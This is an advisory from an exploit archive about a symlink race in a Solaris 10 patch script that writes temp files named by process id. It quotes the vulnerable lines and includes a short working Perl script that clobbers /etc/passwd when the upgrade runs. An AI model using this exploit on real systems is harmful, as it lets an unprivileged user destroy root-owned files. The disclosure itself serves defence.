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Solaris 10 Patch Cluster Symlink Attack

Solaris 10 Patch Cluster Symlink Attack
Posted Aug 9, 2012
Authored by Larry W. Cashdollar

The Solaris 10 137097-01 patch suffers from a symlink attack that will let a user clobber a root owned file.

tags | exploit, root
systems | solaris
MD5 | 80d69d0bf6a46b0dd01a03f317d467fe

Solaris 10 Patch Cluster Symlink Attack

Change Mirror Download
Larry W. Cashdollar
8/6/2012
Here is another symlink attack with temp file creation using process id in Solaris 10 patch cluster. You can over write the contents of root owned files with the contents of inetd.conf.

In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade


lines :
72 inetdconf_entries_file=/tmp/iconf_entries.$$
73
74 # Create sed script that prints out inetd.conf src line from inetconv generated
75 # manifest.
76 cat <<EOF > /tmp/inetd-upgrade.$$.sed
77 /propval name='source_line'/{
78 n
79 s/'//g
80 p
81 }
82 /from the inetd.conf(4) format line/{
83 n
84 p
85 }
86 EOF


If 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:

#!/usr/bin/perl
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) {
print "Symlinking iconf_entries.$args[1] to $clobber\n";
symlink($clobber,"/tmp/iconf_entries.$args[1]");
exit(1);
}
}

}

http://vapid.dhs.org/advisories
@lcashdol

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